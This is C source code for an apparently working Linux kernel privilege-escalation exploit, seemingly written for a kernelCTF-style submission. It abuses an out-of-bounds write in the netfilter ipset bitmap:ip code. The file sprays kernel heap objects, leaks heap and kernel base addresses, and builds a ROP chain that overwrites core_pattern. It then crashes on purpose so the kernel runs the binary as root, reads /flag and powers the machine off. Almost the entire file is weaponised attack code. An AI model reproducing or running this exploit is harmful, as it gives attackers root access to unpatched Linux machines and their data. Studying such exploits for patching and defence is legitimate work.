#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <err.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <stddef.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <netinet/ip.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <libmnl/libmnl.h>
#include <sys/auxv.h>
#include <sys/sendfile.h>
#include <libnftnl/table.h>
#include <libnftnl/flowtable.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
#include <libnftnl/object.h>
#include <linux/if_packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#include <sys/socket.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/if_link.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/resource.h>
#include <linux/if.h>
#include <linux/keyctl.h>
#include <byteswap.h>
#include <linux/netfilter/ipset/ip_set.h>
#include <linux/netfilter/ipset/ip_set_bitmap.h>
#include <err.h>

#define NFNL_SUBSYS_ID_SHIFT 8
#define NFNL_SUBSYS_IPSET 6
#define PAGE_SIZE 0x1000
#define MSG_MSG_SIZE 0x30
#define KMALLOC_CG_2K 0x800
#define MSG_MSGSEG_SIZE 0x8

#define SYSCHK(x) ({              \
	typeof(x) __res = (x);        \
	if (__res == (typeof(x))-1)   \
		err(1, "SYSCHK(" #x ")"); \
	__res;                        \
})
#define NPIPE 0x100
#define NMSG 0x1000
#define PAUSE           \
	{                   \
		int x;          \
		printf(":");    \
		read(0, &x, 1); \
	}

int skbuff_heap_leak[0x100][2];
int skbuff_kaslr_leak[0x400][2];
int pipe_fd[0x100][2];
int msqid[0x4000];
struct
{
	long mtype;
	char mtext[0x2000];
} msg;

struct msg_msg
{
	uint64_t m_list_next;
	uint64_t m_list_prev;
	uint64_t m_type;
	uint64_t m_ts;
	uint64_t next;
	uint64_t security;
};

struct pipe_buffer
{
	uint64_t page;
	uint32_t offset;
	uint32_t len;
	uint64_t ops;
	uint32_t flags;
	uint32_t pad;
	uint64_t private;
};

size_t KERNEL_BASE = 0;
#define START_ROP 0x50
#define STATIC_KBASE 0xffffffff81000000
#define POP_RDI (KERNEL_BASE + (0x0145e109))  // pop rdi ; ret
#define POP_RSI (KERNEL_BASE + (0x0145b835))  // pop rsi ; ret
#define POP_RSI2 (KERNEL_BASE + (0x00ffbe53)) // pop rsi ; mov eax, xxx ; ret
#define POP_RDX (KERNEL_BASE + (0x0145dc80))  // pop rdx ; ret
#define POP_RSP (KERNEL_BASE + (0x0145cc66))  // pop rsp ; ret
#define PIVOT (KERNEL_BASE + (0x00b32a2b))	  // push rsi ; jmp qword ptr [rsi + 0x39]
#define PIVOT2 (KERNEL_BASE + (0x0015ccee))	  // pop rsp ; pop r15 ; ret
#define PIVOT3 (KERNEL_BASE + (0x00b32a2b))	  // push rsi; jmp qword ptr [rsi+0x39];
#define CORE_PATTERN (KERNEL_BASE + (0xffffffff83db6520 - STATIC_KBASE))
#define COPY_FROM_USER (KERNEL_BASE + (0xffffffff81983470 - STATIC_KBASE))
#define MSLEEP (KERNEL_BASE + (0xffffffff812784c0 - STATIC_KBASE))
#define ANON_PIPE_BUF_OPS_OFF (0xffffffff82c4b100 - STATIC_KBASE)
char user_buf[] = "|/proc/%P/fd/666 %P";
char buf[0x1000];
char name[0x100];

size_t pipe_buf_addr = 0;

#define ROP(idx) ((size_t *)rop)[(idx) + (START_ROP / 8)]

int build_fake_pipe_buffer_with_rop_chain(size_t rop_addr, char *rop)
{
	*(size_t *)&rop[0x8] = POP_RDI;
	*(size_t *)&rop[0x18] = POP_RSP;
	*(size_t *)&rop[0x20] = rop_addr + START_ROP;

	*(size_t *)&rop[0x10] = rop_addr + 0x20; // set pipe_buffer.ops
	*(size_t *)&rop[0x28] = PIVOT3;			 // set pipe_buf_operations.release
	*(size_t *)&rop[0x39] = PIVOT2;

	int i = 0;
	// copy_from_user(core_pattern, user_buf, sizeof(user_buf);
	ROP(i++) = POP_RDI;
	ROP(i++) = CORE_PATTERN;
	ROP(i++) = POP_RSI2;
	ROP(i++) = (size_t)&user_buf;
	ROP(i++) = POP_RDX;
	ROP(i++) = sizeof(user_buf);
	ROP(i++) = COPY_FROM_USER;
	// msleep(0x10000);
	ROP(i++) = POP_RDI;
	ROP(i++) = 0x10000;
	ROP(i++) = MSLEEP;
}

void set_cpu(int c)
{
	cpu_set_t mask;
	CPU_ZERO(&mask);
	CPU_SET(c, &mask);
	sched_setaffinity(0, sizeof(mask), &mask);
}
int __netlink_send(int fd, const void *nlh, size_t size)
{
	struct iovec iov = {
		.iov_base = (void *)nlh,
		.iov_len = size,
	};
	struct msghdr msg = {
		.msg_name = NULL,
		.msg_namelen = 0,
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = NULL,
		.msg_controllen = 0,
		.msg_flags = 0,
	};

	if (sendmsg(fd, &msg, 0) < 0)
	{
		perror("sendmsg()");
		return -1;
	}

	return 0;
}
static inline int netlink_send(int fd, const struct nlmsghdr *nlh)
{
	return __netlink_send(fd, nlh, nlh->nlmsg_len);
}

int netlink_open(int proto)
{
	struct sockaddr_nl addr = {0};
	addr.nl_family = AF_NETLINK;

	int s = socket(AF_NETLINK, SOCK_RAW, proto);
	if (s < 0)
	{
		perror("socket()");
		return s;
	}
	if (bind(s, (struct sockaddr *)&addr, sizeof(addr)) == -1)
	{
		perror("bind()");
		return -1;
	}

	return s;
}
// Helper function to set up a common Netlink message structure
struct nlmsghdr *setup_ip_set_message(char *buf, int cmd_type, uint16_t flags,
									  const char *set_name, const char *type_name,
									  uint8_t family, int extra_header_size)
{
	struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf);
	nlh->nlmsg_type = cmd_type;
	nlh->nlmsg_flags = flags;

	mnl_nlmsg_put_extra_header(nlh, extra_header_size);

	mnl_attr_put_u8(nlh, IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL);
	mnl_attr_put_strz(nlh, IPSET_ATTR_SETNAME, set_name);
	if (type_name)
	{ // Only CREATE commands need type_name
		mnl_attr_put_strz(nlh, IPSET_ATTR_TYPENAME, type_name);
	}
	mnl_attr_put_u8(nlh, IPSET_ATTR_FAMILY, family);
	mnl_attr_put_u8(nlh, IPSET_ATTR_REVISION, 0);

	return nlh;
}

// Function to create an IP set under kmalloc-cg-512 cache
int create_ip_set_kmalloc_512(int sock_fd, const char *set_name, const char *type_name,
							  uint8_t family, int extra)
{
	char buf[1024];
	struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (6 << 8),
												NLM_F_REQUEST | NLM_F_ACK,
												set_name, type_name, family, 4);

	struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
	struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);

	// 0x35*8+0x58 is under kmalloc-cg-512
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x35));
	mnl_attr_nest_end(nlh, attr_ip);

	attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
	mnl_attr_nest_end(nlh, attr_ip);

	if (extra)
	{
		// map size depend on map = ip_set_alloc(sizeof(*map) + elements * set->dsize);
		// IPSET_FLAG_WITH_COMMENT cause set->dsize == 0x8
		// sizeof(*map) == sizeof(struct bitmap_ip) == 0x58
		// 0x35*0x8 + sizeof(*map) is under kmalloc-cg-512
		mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
						 htonl(IPSET_FLAG_WITH_COMMENT));
	}

	mnl_attr_nest_end(nlh, attr_data);
	return netlink_send(sock_fd, nlh);
}

// Function to add an IP address to the set
int trigger_oob_leak(int sock_fd, const char *set_name, uint8_t family)
{
	char buf[1024];
	char comment_string[0x100] = {};

	// make comment_string be allocated under kmalloc-192
	memset(comment_string, 'a', 0x90);

	struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
												NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
												set_name, NULL, family, 4);

	struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
	struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
	mnl_attr_nest_end(nlh, attr_ip);

	// IPSET_ATTR_CIDR==3 make `ip` is 0xe0000000 and `ip_to` 0xffffffff
	mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);
	mnl_attr_put_strz(nlh, IPSET_ATTR_COMMENT, comment_string);

	mnl_attr_nest_end(nlh, attr_data);
	return netlink_send(sock_fd, nlh);
}

// Function to create an IP set under kmalloc-cg-2048 cache
int create_ip_set_kmalloc_2048(int sock_fd, const char *set_name, const char *type_name,
							   uint8_t family, int extra)
{
	char buf[1024];
	struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_CREATE | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
												NLM_F_REQUEST | NLM_F_ACK,
												set_name, type_name, family, 4);

	struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
	struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-0x40));
	mnl_attr_nest_end(nlh, attr_ip);

	attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
	mnl_attr_nest_end(nlh, attr_ip);

	if (extra)
	{
		mnl_attr_put_u32(nlh, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER,
						 htonl(IPSET_FLAG_WITH_COUNTERS));

		// map size depend on map = ip_set_alloc(sizeof(*map) + elements * set->dsize);
		// IPSET_FLAG_WITH_COUNTERS cause set->dsize == 0x10
		// 0x40*0x10 + sizeof(*map) is under kmalloc-cg-2048
	}

	mnl_attr_nest_end(nlh, attr_data);
	return netlink_send(sock_fd, nlh);
}

// Function to add an IP address to the set
int add_ip_to_set(int sock_fd, const char *set_name, uint8_t family, uint32_t ip)
{
	char buf[1024];
	struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
												NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
												set_name, NULL, family, 4);

	struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
	struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
	mnl_attr_nest_end(nlh, attr_ip);

	attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP_TO);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, ip);
	mnl_attr_nest_end(nlh, attr_ip);

	mnl_attr_nest_end(nlh, attr_data);
	return netlink_send(sock_fd, nlh);
}

int trigger_oob_write(int sock_fd, const char *set_name, uint8_t family)
{
	char buf[1024];
	struct nlmsghdr *nlh = setup_ip_set_message(buf, IPSET_CMD_ADD | (NFNL_SUBSYS_IPSET << NFNL_SUBSYS_ID_SHIFT),
												NLM_F_REQUEST | NLM_F_ACK | NLM_F_EXCL,
												set_name, NULL, family, 4);

	struct nlattr *attr_data = mnl_attr_nest_start(nlh, IPSET_ATTR_DATA);
	struct nlattr *attr_ip = mnl_attr_nest_start(nlh, IPSET_ATTR_IP);
	mnl_attr_put_u32(nlh, IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER, htonl(-1));
	mnl_attr_nest_end(nlh, attr_ip);

	// IPSET_ATTR_CIDR==3 make `ip` is 0xe0000000 and `ip_to` 0xffffffff
	mnl_attr_put_u8(nlh, IPSET_ATTR_CIDR, 3);
	mnl_attr_put_u64(nlh, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr));
	mnl_attr_put_u64(nlh, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, bswap_64(pipe_buf_addr));

	mnl_attr_nest_end(nlh, attr_data);
	return netlink_send(sock_fd, nlh);
}
int check_core()
{
	// Check if /proc/sys/kernel/core_pattern has been overwritten
	char buf[0x100] = {};
	int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
	read(core, buf, sizeof(buf));
	close(core);
	return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
	int memfd = memfd_create("", 0);
	SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
	dup2(memfd, 666);
	close(memfd);
	while (check_core() == 0)
		usleep(100);
	puts("Root shell !!");
	/* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
	*(size_t *)0 = 0;
}

int main(int argc, char **argv)
{
	setvbuf(stdout, 0, 2, 0);
	if (argc > 1)
	{
		// #define SYS_pidfd_getfd 438
		int pid = strtoull(argv[1], 0, 10);
		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd, 0);
		dup2(stdoutfd, 1);
		dup2(stderrfd, 2);
		/* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
		system("cat /flag;echo o>/proc/sysrq-trigger");
	}
	if (fork() == 0) // this process is used to trigger core_pattern exploit
	{
		set_cpu(0);
		setsid();
		crash("");
	}
	set_cpu(1);

	struct rlimit rlim = {
		.rlim_cur = 0x1000,
		.rlim_max = 0x1000};
	SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));

	// prepare a lot unix_socket for spray skbs
	for (int i = 0; i < 0x400; i++)
	{
		size_t val = 0x400000;
		SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_kaslr_leak[i]));
		SYSCHK(SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_SNDBUF, &val, 4)));
		SYSCHK(SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_SNDBUF, &val, 4)));
		SYSCHK(SYSCHK(setsockopt(skbuff_kaslr_leak[i][0], SOL_SOCKET, SO_RCVBUF, &val, 4)));
		SYSCHK(SYSCHK(setsockopt(skbuff_kaslr_leak[i][1], SOL_SOCKET, SO_RCVBUF, &val, 4)));
	}

	// spray a lot skbs ahead for later guess skb chunk addr success rate higher
	// allocate 0x400 * 0x100 * 2 kmalloc-cg-1024 chunks, total in 512 MB
	for (int i = 0; i < 0x400; i++)
	{
		for (int j = 0; j < 0x100; j++)
		{
			write(skbuff_kaslr_leak[i][0], buf, 0x200);
			write(skbuff_kaslr_leak[i][1], buf, 0x200);
		}
	}

Loop:
	// Fork child to attempt to leak kernel heap addr.
	if (fork() != 0)
	{
		int status = 0;
		wait(&status);
		if (status == 0)
		{
			puts("Leak kheap fail, retry");
			goto Loop;
		}
		raise(SIGSTOP);
	}
	// create new unprivileged network IPC namespace to reach vulnerability
	SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC));

	// create a lot msgqueue for later to spray msg_msg and msg_msgseg
	for (int i = 0; i < 0x4000; i++)
	{
		msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
		SYSCHK(msqid[i]);
	}

	// prepare another set of unix_sockets for spray skbs
	for (int i = 0; i < 0x100; i++)
	{
		SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, skbuff_heap_leak[i]));
	}

	msg.mtype = 1;
	int fail = 1;

	int sock_fd = netlink_open(NETLINK_NETFILTER);
	if (sock_fd < 0)
	{
		fprintf(stderr, "Failed to open Netlink socket\n");
		return EXIT_FAILURE;
	}

	for (int i = 0; i < 0x1000; i++)
	{
		sprintf(name, "%d", i);
		if (i == 0x800)
		{
			// if reach target loop, we spray a lot kmalloc-cg-512 skbs ahead
			for (int i = 0; i < 0x100; i++)
				SYSCHK(write(skbuff_heap_leak[i][0], buf, 0x80));
		}

		// allocate target ipset
		create_ip_set_kmalloc_512(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);

		// Since target ipset's near bitmap also ours ipset
		// set bit to each ipset in order to make oob write stop
		// We try to stop for_loop by make adtfn return -IPSET_ERR_EXIST

/*  
	https://elixir.bootlin.com/linux/v6.6.62/source/net/netfilter/ipset/ip_set_bitmap_ip.c#L184
	for (; !before(ip_to, ip); ip += map->hosts) {
		e.id = ip_to_id(map, ip);
		ret = adtfn(set, &e, &ext, &ext, flags);

		if (ret && !ip_set_eexist(ret, flags))
			return ret;

*/
		add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x35));

		if (i == 0x800)
		{
			// if reach target loop, we spray a lot kmalloc-cg-512 skbs after allocating target ipset
			for (int i = 0; i < 0x100; i++)
				SYSCHK(write(skbuff_heap_leak[i][1], buf, 0x80));
		}
	}

	// trigger oob write to keep allocate comment_string to overwrite next chunk(skb) contents as kernel heap
	trigger_oob_leak(sock_fd, "2048", AF_INET);

	// Read skbs contents to leak oob write value which is kernel heap address
	// We use MSG_PEEK, so it won't free skb
	for (int i = 0; i < 0x100; i++)
	{
		recv(skbuff_heap_leak[i][0], buf, 0x80, MSG_PEEK);
		if (buf[0])
			pipe_buf_addr = *(size_t *)(&buf[0]);
		recv(skbuff_heap_leak[i][1], buf, 0x80, MSG_PEEK);
		if (buf[0])
			pipe_buf_addr = *(size_t *)(&buf[0]);
	}
	printf("leak heap addr 0x%lx\n", pipe_buf_addr);
	if (pipe_buf_addr == 0)
	{
		exit(0);
	}

	// We choose a guess addr, hope its under kmalloc-cg-1024
	// Later we will reclaim it as pipe_buf
	pipe_buf_addr &= ~(0x10000000 - 1);
	printf("Our guess kernel heap addr 0x%lx\n", pipe_buf_addr);

	for (int i = 0; i < 0x1000; i++)
	{
		sprintf(name, "x%d", i);
		if (i == 0x800)
		{
			// if reach target loop, we spray a lot kmalloc-cg-2048 msg_msgseg ahead
			for (int i = 0; i < 0x1000; i++)
				SYSCHK(msgsnd(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
		}
		// allocate target ipset
		create_ip_set_kmalloc_2048(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);

		// set bit to each ipset in order to make oob write stop
		add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x40 + 0x3b));

		if (i == 0x800)
		{
			// if reach target loop, we spray a lot kmalloc-cg-2048 msg_msgseg after allocating target ipset
			for (int i = 0; i < 0x1000; i++)
				SYSCHK(msgsnd(msqid[i + 0x1000], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
		}
	}

	// trigger oob write to overwrite next chunk(msg_msgseg's next) as our guessed addr
	trigger_oob_write(sock_fd, "x2048", AF_INET);

	// free all msg_msgseg, it also free our guessed addr
	// we don't need to read to prevent stuck at deadloop
	char *read_only = SYSCHK(mmap(0, 0x1000, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0));
	for (int i = 0; i < 0x2000; i++)
		msgrcv(msqid[i], read_only, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 1, IPC_NOWAIT);

	// We reclaim our guessed addr as pipe_buf
	for (int i = 0; i < NPIPE; i++)
		SYSCHK(pipe(pipe_fd[i]));

	// write data on pipe to leak kernel base address
	for (int i = 0; i < NPIPE; i++)
	{
		SYSCHK(write(pipe_fd[i][1], buf, 0x1000));
	}

#define PIPE_BUFFER_OFFS_OPS 0x10

	// read and free skb,
	// if it has non-null contents, it means it should be pipe_buf
	for (int i = 0; i < 0x400; i++)
	{
		for (int j = 0; j < 0x100; j++)
		{
			read(skbuff_kaslr_leak[i][0], buf, 0x200);
			KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS];

			if (KERNEL_BASE)
				break;

			read(skbuff_kaslr_leak[i][1], buf, 0x200);
			KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS];
			if (KERNEL_BASE)
				break;
		}
		if (KERNEL_BASE)
			break;
	}

	// leak kernel base
	KERNEL_BASE -= ANON_PIPE_BUF_OPS_OFF;
	printf("KERNEL_BASE %lx\n", KERNEL_BASE);

	// craft pipe_buffer with rop chain
	build_fake_pipe_buffer_with_rop_chain(pipe_buf_addr, (char *)buf);

	// reclaim target chunk as skb with our contents
	for (int i = 0; i < 0x100; i++)
	{
		SYSCHK(write(skbuff_heap_leak[i][1], buf, 0x200));
	}

	// free pipe_buf to control RIP and do ROP
	for (int i = 0; i < NPIPE; i++)
	{
		close(pipe_fd[i][0]);
		close(pipe_fd[i][1]);
	}

	return EXIT_SUCCESS;
}
